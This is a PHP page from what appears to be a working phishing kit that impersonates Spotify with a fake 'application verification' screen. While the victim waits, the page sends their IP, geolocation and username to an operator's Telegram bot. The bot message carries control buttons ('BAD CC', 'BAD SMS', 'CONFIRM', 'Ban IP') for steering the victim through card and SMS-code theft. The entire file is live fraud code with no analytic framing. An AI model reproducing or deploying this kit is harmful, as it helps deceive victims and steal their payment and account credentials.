<?php
/**
 * Application Verification Page
 * Shows when admin requests application verification
 */

define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../config/telegram.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$ip = getClientIP();

// Check if this page should be shown
$showPage = false;
$appFile = BASE_PATH . '/Panel/action/ip_app.txt';

if (file_exists($appFile)) {
    $content = file_get_contents($appFile);
    if (strpos($content, $ip) !== false) {
        $showPage = true;
    }
}

// If not supposed to be here, redirect
if (!$showPage) {
    header('Location: verification.php');
    exit;
}

// Log ALL requests for debugging
@file_put_contents(LOGS_PATH . '/application_debug.log', 
    "[" . date('Y-m-d H:i:s') . "] REQUEST_METHOD: " . $_SERVER['REQUEST_METHOD'] . ", POST data: " . json_encode($_POST) . "\n", 
    FILE_APPEND);

// Handle approval/decline submission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $action = $_POST['action']; // 'approved', 'declined', or 'badapp'
    
    @file_put_contents(LOGS_PATH . '/application_debug.log', 
        "[" . date('Y-m-d H:i:s') . "] POST HANDLER TRIGGERED! Action: $action\n", 
        FILE_APPEND);
    
    // Send notification to Telegram with control buttons
    if (TELEGRAM_ENABLED) {
        $telegram = new TelegramAPI();
        $timestamp = date('Y-m-d H:i:s');
        
        // Get geolocation
        $geoInfo = $telegram->getGeoInfo($ip);
        
        if ($action === 'approved') {
            $emoji = '✅';
            $status = 'APPROVED';
        } elseif ($action === 'declined') {
            $emoji = '❌';
            $status = 'DECLINED';
        } else {
            $emoji = '📱';
            $status = 'BAD APPLICATION';
        }
        
        $message = "{$emoji} <b>APPLICATION {$status}</b>\n\n";
        $message .= "👤 <b>User:</b> " . ($_SESSION['username'] ?? 'Unknown') . "\n";
        $message .= "📍 <b>IP:</b> {$ip}\n";
        $message .= "🌍 <b>Location:</b> {$geoInfo['city']}, {$geoInfo['country']}\n";
        $message .= "🕐 <b>Time:</b> {$timestamp}\n";
        $message .= "📱 <b>Action:</b> User clicked '{$status}' button\n\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n";
        $message .= "<b>What would you like to do?</b>";
        
        // Create inline keyboard with control buttons
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '📲 SMS 📲', 'callback_data' => "sms_$ip"],
                    ['text' => '📱 APPLICATION 📱', 'callback_data' => "app_$ip"]
                ],
                [
                    ['text' => '⛔ BAD SMS ⛔', 'callback_data' => "badsms_$ip"],
                    ['text' => '💳 BAD CC 💳', 'callback_data' => "badcc_$ip"]
                ],
                [
                    ['text' => '📱 BAD APP 📱', 'callback_data' => "badapp_$ip"]
                ],
                [
                    ['text' => '✅ CONFIRM ✅', 'callback_data' => "confirm_$ip"]
                ],
                [
                    ['text' => '🛑 Ban IP 🛑', 'callback_data' => "ban_$ip"]
                ]
            ]
        ];
        
        $url = "https://api.telegram.org/bot{$telegram->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $telegram->chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        curl_exec($ch);
        curl_close($ch);
    }
    
    // Log for debugging
    @file_put_contents(LOGS_PATH . '/application_debug.log', 
        "[" . date('Y-m-d H:i:s') . "] Action: $action, IP: $ip, Telegram enabled: " . (TELEGRAM_ENABLED ? 'yes' : 'no') . "\n", 
        FILE_APPEND);
    
    // Remove IP from app file BEFORE redirecting
    if (file_exists($appFile)) {
        $content = file_get_contents($appFile);
        $content = str_replace($ip . "\n", '', $content);
        $content = str_replace($ip, '', $content);
        $written = file_put_contents($appFile, $content);
        
        @file_put_contents(LOGS_PATH . '/application_debug.log', 
            "[" . date('Y-m-d H:i:s') . "] IP removed from file, bytes written: $written\n", 
            FILE_APPEND);
    }
    
    // Redirect based on action
    if ($action === 'badapp') {
        // Redirect to bad application page
        header('Location: bad_application.php');
    } else {
        // Redirect to loader - wait for admin decision
        header('Location: loader.php');
    }
    exit;
}

$showError = isset($_SESSION['app_error']);
if ($showError) {
    unset($_SESSION['app_error']);
}
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $langManager->get('title'); ?></title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(rgba(255, 255, 255, 0.1) 0%, rgb(0, 0, 0) 100%);
            background-color: #000;
            color: #fff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        
        .main-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            overflow: auto;
            padding-top: 80px;
        }
        
        .header-wrapper {
            display: flex;
            padding: 0 32px;
            min-height: 80px;
            overflow: hidden;
            align-items: center;
            justify-content: center;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            background: transparent;
            z-index: 100;
        }
        
        .logo-container {
            height: 40px;
        }
        
        .spotify-logo {
            height: 100%;
            width: auto;
            color: #fff;
        }
        
        .content-wrapper {
            flex-grow: 1;
            display: flex;
            width: 100%;
            justify-content: center;
            padding-bottom: 32px;
        }
        
        .verification-box {
            box-sizing: content-box;
            padding: 0 32px;
            width: 100%;
            max-width: 450px;
        }
        
        .verification-content {
            display: flex;
            flex-direction: column;
            flex: 1;
            height: 100%;
            background-color: #000;
            padding: 48px;
            border-radius: 8px;
        }
        
        .verification-icon {
            font-size: 64px;
            text-align: center;
            margin-bottom: 24px;
        }
        
        .title-section {
            text-align: center;
            margin-bottom: 32px;
        }
        
        .verification-title {
            font-size: 32px;
            font-weight: 700;
            line-height: 1.2;
            margin-bottom: 16px;
        }
        
        .verification-subtitle {
            font-size: 16px;
            color: #b3b3b3;
            line-height: 1.5;
        }
        
        .error-banner {
            background-color: #e22134;
            color: #fff;
            padding: 16px;
            border-radius: 4px;
            margin-bottom: 24px;
            text-align: center;
            font-size: 14px;
        }
        
        .loading-section {
            text-align: center;
            margin: 32px 0;
        }
        
        .spinner {
            border: 4px solid #282828;
            border-top: 4px solid #1ed760;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 1s linear infinite;
            margin: 0 auto 24px;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        .loading-text {
            font-size: 16px;
            font-weight: 600;
            margin-bottom: 8px;
        }
        
        .loading-subtext {
            font-size: 14px;
            color: #b3b3b3;
        }
        
        .timer-text {
            text-align: center;
            color: #b3b3b3;
            font-size: 14px;
            margin-top: 24px;
        }
        
        .timer-text span {
            color: #1ed760;
            font-weight: 600;
        }
        
        .approval-buttons {
            display: none;
            gap: 16px;
            margin-top: 32px;
        }
        
        .approval-buttons.show {
            display: flex;
            justify-content: center;
        }
        
        .approval-btn {
            flex: 1;
            max-width: 200px;
            padding: 16px 32px;
            border: none;
            border-radius: 500px;
            font-size: 16px;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.2s;
            text-transform: none;
        }
        
        .btn-approve {
            background-color: #1ed760;
            color: #000;
        }
        
        .btn-approve:hover {
            background-color: #1fdf64;
            transform: scale(1.04);
        }
        
        .btn-decline {
            background-color: transparent;
            color: #fff;
            border: 1px solid #727272;
        }
        
        .btn-decline:hover {
            border-color: #fff;
            transform: scale(1.04);
        }
        
        .btn-badapp {
            background-color: #e22134;
            color: #fff;
            max-width: 100%;
        }
        
        .btn-badapp:hover {
            background-color: #c91d2e;
            transform: scale(1.04);
        }
        
        .security-notice {
            text-align: center;
            margin-top: 32px;
            padding-top: 32px;
            border-top: 1px solid #282828;
        }
        
        .security-notice p {
            font-size: 12px;
            color: #727272;
            line-height: 1.5;
        }
        
        .spacer-32 { height: 32px; }
        .spacer-64 { height: 64px; }
        
        @media (max-width: 768px) {
            .verification-content {
                padding: 32px 24px;
            }
            
            .verification-title {
                font-size: 28px;
            }
            
            .approval-buttons {
                flex-direction: column;
            }
            
            .approval-btn {
                max-width: 100%;
            }
            
            .btn-badapp {
                margin-top: 8px;
            }
        }
    </style>
</head>
<body>
    <div class="main-wrapper">
        <!-- Header -->
        <header class="header-wrapper">
            <div class="logo-container">
                <svg class="spotify-logo" viewBox="0 0 1134 340" xmlns="http://www.w3.org/2000/svg">
                    <path fill="currentColor" d="M8 171c0-92 76-168 168-168S344 79 344 171s-76 168-168 168S8 263 8 171zm230 78c-39-24-89-30-147-17-14 2-16-18-4-20 64-15 118-8 162 19 11 7 0 24-11 18zm17-45c-45-28-114-36-167-20-17 5-23-21-7-25 61-18 136-9 188 23 14 9 0 31-14 22zM80 133c-17 6-28-23-9-30 59-18 159-15 221 22 17 9 1 37-17 27-54-32-144-35-195-19zm379 91c-17 0-33-6-47-20-1 0-1 1-1 1l-16 19c-1 1-1 2 0 3 18 16 40 24 64 24 34 0 55-19 55-47 0-24-15-37-50-46-29-7-34-12-34-22s10-16 23-16 25 5 39 15c0 0 1 1 2 1s1-1 1-1l14-20c1-1 1-1 0-2-16-13-35-20-56-20-31 0-53 19-53 46 0 29 20 38 52 46 28 6 32 12 32 22 0 11-10 17-25 17zm95-77v-13c0-1-1-2-2-2h-26c-1 0-2 1-2 2v147c0 1 1 2 2 2h26c1 0 2-1 2-2v-46c10 11 21 16 36 16 27 0 54-21 54-61s-27-60-54-60c-15 0-26 5-36 17zm30 78c-18 0-31-15-31-35s13-34 31-34 30 14 30 34-12 35-30 35zm68-34c0 34 27 60 62 60s62-27 62-61-26-60-61-60-63 27-63 61zm30 0c0-20 13-34 32-34s33 15 33 35-13 34-32 34-33-15-33-35zm140-58v-29c0-1 0-2-1-2h-26c-1 0-2 1-2 2v29h-13c-1 0-2 1-2 2v22c0 1 1 2 2 2h13v58c0 23 11 35 34 35 9 0 18-2 25-6 1 0 1-1 1-2v-21c0-1 0-2-1-2h-2c-5 3-11 4-16 4-8 0-12-4-12-12v-54h30c1 0 2-1 2-2v-22c0-1-1-2-2-2h-30zm129-3c0-11 4-15 13-15 5 0 10 0 15 2h1s1-1 1-2V93c0-1 0-2-1-2-5-2-12-3-22-3-24 0-36 14-36 39v5h-13c-1 0-2 1-2 2v22c0 1 1 2 2 2h13v89c0 1 1 2 2 2h26c1 0 1-1 1-2v-89h25l37 89c-4 9-8 11-14 11-5 0-10-1-15-4h-1l-1 1-9 19c0 1 0 3 1 3 9 5 17 7 27 7 19 0 30-9 39-33l45-116v-2c0-1-1-1-2-1h-27c-1 0-1 1-1 2l-28 78-30-78c0-1-1-2-2-2h-44v-3zm-83 3c-1 0-2 1-2 2v113c0 1 1 2 2 2h26c1 0 1-1 1-2V134c0-1 0-2-1-2h-26zm-6-33c0 10 9 19 19 19s18-9 18-19-8-18-18-18-19 8-19 18zm245 69c10 0 19-8 19-18s-9-18-19-18-18 8-18 18 8 18 18 18zm0-34c9 0 17 7 17 16s-8 16-17 16-16-7-16-16 7-16 16-16zm4 18c3-1 5-3 5-6 0-4-4-6-8-6h-8v19h4v-6h4l4 6h5zm-3-9c2 0 4 1 4 3s-2 3-4 3h-4v-6h4z"/>
                </svg>
            </div>
        </header>

        <!-- Main Content -->
        <section class="content-wrapper">
            <div class="verification-box">
                <div class="verification-content">
                    <div class="verification-icon">📱</div>
                    
                    <div class="title-section">
                        <h1 class="verification-title">
                            <?php echo $showError ? $langManager->get('application.failed_title') : $langManager->get('application.title'); ?>
                        </h1>
                        <p class="verification-subtitle">
                            <?php 
                            if ($showError) {
                                echo $langManager->get('application.failed_subtitle');
                            } else {
                                echo $langManager->get('application.subtitle');
                            }
                            ?>
                        </p>
                    </div>

                    <?php if ($showError): ?>
                    <div class="error-banner">
                        <?php echo $langManager->get('application.error_banner'); ?>
                    </div>
                    <?php endif; ?>

                    <!-- Loading Section -->
                    <div class="loading-section" id="loadingSpinner">
                        <div class="spinner"></div>
                        <p class="loading-text"><?php echo $langManager->get('application.waiting'); ?></p>
                        <p class="loading-subtext"><?php echo $langManager->get('application.check_app'); ?></p>
                    </div>

                    <!-- Timer Text -->
                    <div class="timer-text" id="timerText">
                        <?php echo $langManager->get('application.timer_text'); ?> <span id="countdown">60</span> <?php echo $langManager->get('application.seconds'); ?>
                    </div>

                    <!-- Approval Buttons (hidden initially) -->
                    <form method="POST" action="application.php" id="approvalForm">
                        <input type="hidden" name="action" id="actionInput" value="">
                        <div class="approval-buttons" id="approvalButtons">
                            <button type="button" onclick="submitApproval('approved')" class="approval-btn btn-approve">
                                ✓ <?php echo $langManager->get('application.approve_btn'); ?>
                            </button>
                            <button type="button" onclick="submitApproval('declined')" class="approval-btn btn-decline">
                                ✗ <?php echo $langManager->get('application.decline_btn'); ?>
                            </button>
                        </div>
                    </form>

                    <div class="security-notice">
                        <p><?php echo $langManager->get('application.security_notice'); ?><br>
                        <?php echo $langManager->get('application.security_priority'); ?></p>
                    </div>
                </div>
            </div>
        </section>

        <div class="spacer-64"></div>
    </div>

    <script>
        // Countdown timer - show buttons after 60 seconds
        let countdown = 60;
        const countdownElement = document.getElementById('countdown');
        const timerText = document.getElementById('timerText');
        const approvalButtons = document.getElementById('approvalButtons');
        const loadingSpinner = document.getElementById('loadingSpinner');

        console.log('Timer started, countdown:', countdown);

        const timer = setInterval(() => {
            countdown--;
            if (countdownElement) {
                countdownElement.textContent = countdown;
            }
            
            console.log('Countdown:', countdown);

            if (countdown <= 0) {
                clearInterval(timer);
                
                console.log('Timer finished! Showing buttons...');
                
                // Hide timer and loading
                if (timerText) {
                    timerText.style.display = 'none';
                }
                if (loadingSpinner) {
                    loadingSpinner.style.display = 'none';
                }
                
                // Show approval buttons with multiple methods to ensure visibility
                if (approvalButtons) {
                    approvalButtons.classList.add('show');
                    approvalButtons.style.display = 'flex';
                    approvalButtons.style.justifyContent = 'center';
                    approvalButtons.style.gap = '15px';
                    console.log('Buttons should be visible now');
                }
            }
        }, 1000);

        // Function to submit approval
        function submitApproval(action) {
            console.log('Submitting action:', action);
            
            // Set the hidden input value
            document.getElementById('actionInput').value = action;
            
            // Disable buttons to prevent double-click
            const buttons = document.querySelectorAll('.approval-btn');
            buttons.forEach(btn => {
                btn.disabled = true;
                btn.style.opacity = '0.6';
            });
            
            // Submit the form
            document.getElementById('approvalForm').submit();
        }
    </script>
</body>
</html>
